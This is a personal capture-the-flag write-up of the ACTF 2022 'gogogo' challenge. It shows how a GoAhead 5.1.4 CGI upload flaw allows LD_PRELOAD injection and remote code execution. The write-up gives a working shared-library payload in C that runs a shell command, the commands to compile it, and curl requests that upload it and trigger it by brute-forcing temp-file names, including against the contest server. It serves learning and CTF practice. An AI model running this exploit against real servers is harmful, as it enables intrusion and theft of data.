I participated ACTF last weekend, it was challenging! I only manage to solve 1 challenge and here is my writeup
gogogo
Description
Attachment
Go to the link given, nothing interesting:
Then I look at source code given, realise it is a docker container
At Dockerfile
saw it download the release of goahead
from archive (means old release), SUS..
FROM debian:buster
RUN set -ex \
&& apt-get update \
&& apt-get install wget make gcc -y \
&& wget -qO- https://github.com/embedthis/goahead/archive/refs/tags/v5.1.4.tar.gz | tar zx --strip-components 1 -C /usr/src/ \
&& cd /usr/src \
&& make SHOW=1 ME_GOAHEAD_UPLOAD_DIR="'\"/tmp\"'" \
&& make install \
&& cp src/self.key src/self.crt /etc/goahead/ \
&& mkdir -p /var/www/goahead/cgi-bin/ \
&& apt-get purge -y --auto-remove wget make gcc \
&& cd /var/www/goahead \
&& rm -rf /usr/src/ /var/lib/apt/lists/* \
&& sed -e 's!^# route uri=/cgi-bin dir=cgi-bin handler=cgi$!route uri=/cgi-bin dir=/var/www/goahead handler=cgi!' -i /etc/goahead/route.txt
COPY flag /flag
RUN chmod 644 /flag
COPY hello /var/www/goahead/cgi-bin/hello
RUN chmod +x /var/www/goahead/cgi-bin/hello
RUN groupadd -r ctf && useradd -r -g ctf ctf
EXPOSE 8081
USER ctf
CMD ["goahead", "-v", "--home", "/etc/goahead", "/var/www/goahead", "0.0.0.0:8081"]
Then I quickly look at the issue from the github and found this issue #305
It stated that version 4 to 5.1.4 is vulnerable, and only if upload filter configured and the CGI handler configured
Look at the dockerfile can clearly see the upload filter and CGI is configured! That means this is the vulnerability we should exploit on!
CGI
It only say possible to exploit to get RCE but did not show us how to exploit
Then I build the docker container on my machine and test how the CGI works, it basically run a called hello
in the server at the /cgi-bin
folder
We can run the program using GET request, for example:
We also can add parameters to set the enviroments variables when running the program, for example adding ?test=1
:
Remember got a technique is to set enviroment of LD_PRELOAD
to attacker’s binary to get RCE, but the enviroment set is added the CGI_
prefix
Look at the issue at github again, it stated that the form variables does not use the prefix when using upload filter
So now we need to figure out how to upload file with CGI
Upload file
I cannot find any documentation on upload files with GoAhead
, so I just try the typical way of upload a file is using multipart/form-data, we can use curl
: https://stackoverflow.com/questions/19116016/what-is-the-right-way-to-post-multipart-form-data-using-curl
curl -F upload=@test http://localhost:10218/cgi-bin/hello
Welcome to ACTF!
SERVER_NAME=172.18.0.2
REMOTE_HOST=172.18.0.1
SCRIPT_NAME=/cgi-bin/hello
GATEWAY_INTERFACE=CGI/1.1
SERVER_SOFTWARE=GoAhead/5.1.4
FILE_CONTENT_TYPE_upload=application/octet-stream
PATH_INFO=
REQUEST_TRANSPORT=http
DOCUMENT_ROOT=/var/www/goahead
PWD=/var/www/goahead
HTTP_CONTENT_LENGTH=203
REQUEST_URI=/cgi-bin/hello
PATH_TRANSLATED=
FILE_CLIENT_FILENAME_upload=test
QUERY_STRING=
SERVER_URL=0.0.0.0:8081
FILE_SIZE_upload=5
SERVER_HOST=172.18.0.2
HTTP_ACCEPT=*/*
FILE_FILENAME_upload=/tmp/tmp-5.tmp
HTTP_HOST=localhost:10218
AUTH_TYPE=
SERVER_ADDR=172.18.0.2
HTTP_CONTENT_TYPE=multipart/form-data; boundary=------------------------52b99055af16fea4
HTTP_USER_AGENT=curl/7.68.0
SHLVL=1
CONTENT_LENGTH=203
UPLOAD_DIR=/tmp
SERVER_PROTOCOL=HTTP/1.1
SERVER_PORT=8081
SCRIPT_FILENAME=/var/www/goahead/cgi-bin/hello
REMOTE_ADDR=172.18.0.1
REMOTE_USER=
CONTENT_TYPE=multipart/form-data; boundary=------------------------52b99055af16fea4
REQUEST_METHOD=POST
_=/usr/bin/env
It works!! Now lets try add a form variable:
curl -F test=test -F upload=@test http://localhost:10218/cgi-bin/hello
Welcome to ACTF!
SERVER_NAME=172.18.0.2
REMOTE_HOST=172.18.0.1
SCRIPT_NAME=/cgi-bin/hello
GATEWAY_INTERFACE=CGI/1.1
SERVER_SOFTWARE=GoAhead/5.1.4
FILE_CONTENT_TYPE_upload=application/octet-stream
...
...
...
test=test
REQUEST_METHOD=POST
_=/usr/bin/env
As you can see, the added form variable does not have the CGI_
prefix!! That means we can set LD_PRELOAD
now!
Exploit
I refer this website to create the library to use for LD_PRELOAD
:
https://www.hackingarticles.in/linux-privilege-escalation-using-ld_preload/
Our target is to read /flag
so we just need to execute command cat /flag
:
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
system("cat /flag");
}
Save as exploit.c
and compile with gcc -fPIC -shared -o exploit.so exploit.c -nostartfiles
Then upload the file with curl -F upload=@exploit.so http://localhost:10218/cgi-bin/hello
curl -F upload=@exploit.so http://localhost:10218/cgi-bin/hello
Welcome to ACTF!
...
...
FILE_FILENAME_upload=/tmp/tmp-7.tmp
HTTP_HOST=localhost:10218
AUTH_TYPE=
SERVER_ADDR=172.18.0.2
HTTP_CONTENT_TYPE=multipart/form-data; boundary=------------------------ae05eda6a7595af5
HTTP_USER_AGENT=curl/7.68.0
SHLVL=1
CONTENT_LENGTH=14860
UPLOAD_DIR=/tmp
SERVER_PROTOCOL=HTTP/1.1
SERVER_PORT=8081
SCRIPT_FILENAME=/var/www/goahead/cgi-bin/hello
REMOTE_ADDR=172.18.0.1
REMOTE_USER=
HTTP_EXPECT=100-continue
CONTENT_TYPE=multipart/form-data; boundary=------------------------ae05eda6a7595af5
REQUEST_METHOD=POST
_=/usr/bin/env
Can see it uploaded successfully! Now we just need to add the form data LD_PRELOAD=/tmp/tmp-X.tmp
(Need to brute force for number X)
curl -F LD_PRELOAD=/tmp/tmp-10.tmp -F upload=@exploit.so http://localhost:10218/cgi-bin/hello
Welcome to ACTF!
ACTF{test_flag}
...
...
...
Yeah! We get the test flag! Now we just need to exploit at the real challenge website
curl -F LD_PRELOAD=/tmp/tmp-10.tmp -F upload=@exploit.so http://123.60.84.229:10218/cgi-bin/hello
Welcome to ACTF!
ACTF{s1mple_3nv_1nj3ct1on_and_w1sh_y0u_hav3_a_g00d_tim3_1n_ACTF2022}SERVER_NAME=192.168.80.2
REMOTE_HOST=14.192.212.80
SCRIPT_NAME=/cgi-bin/hello
GATEWAY_INTERFACE=CGI/1.1
SERVER_SOFTWARE=GoAhead/5.1.4
FILE_CONTENT_TYPE_upload=application/octet-stream
PATH_INFO=
REQUEST_TRANSPORT=http
DOCUMENT_ROOT=/var/www/goahead
PWD=/var/www/goahead
HTTP_CONTENT_LENGTH=14974
REQUEST_URI=/cgi-bin/hello
PATH_TRANSLATED=
FILE_CLIENT_FILENAME_upload=exploit.so
QUERY_STRING=
SERVER_URL=0.0.0.0:8081
FILE_SIZE_upload=14656
SERVER_HOST=192.168.80.2
HTTP_ACCEPT=*/*
FILE_FILENAME_upload=/tmp/tmp-10.tmp
HTTP_HOST=123.60.84.229:10218
AUTH_TYPE=
SERVER_ADDR=192.168.80.2
HTTP_CONTENT_TYPE=multipart/form-data; boundary=------------------------f29c1fcb84900c55
HTTP_USER_AGENT=curl/7.68.0
SHLVL=1
CONTENT_LENGTH=14974
UPLOAD_DIR=/tmp
SERVER_PROTOCOL=HTTP/1.1
SERVER_PORT=8081
SCRIPT_FILENAME=/var/www/goahead/cgi-bin/hello
REMOTE_ADDR=14.192.212.80
REMOTE_USER=
HTTP_EXPECT=100-continue
CONTENT_TYPE=multipart/form-data; boundary=------------------------f29c1fcb84900c55
REQUEST_METHOD=POST
_=/usr/bin/env
YES!! We got the flag!!
Flag
ACTF{s1mple_3nv_1nj3ct1on_and_w1sh_y0u_hav3_a_g00d_tim3_1n_ACTF2022}
During the competition, need to brute force alot the tmp file number because there are many people trying to upload
Alternative Solution
Also notice some writeups are setting LD_PRELOAD
to /proc/self/fd/X
, which is another method to exploit it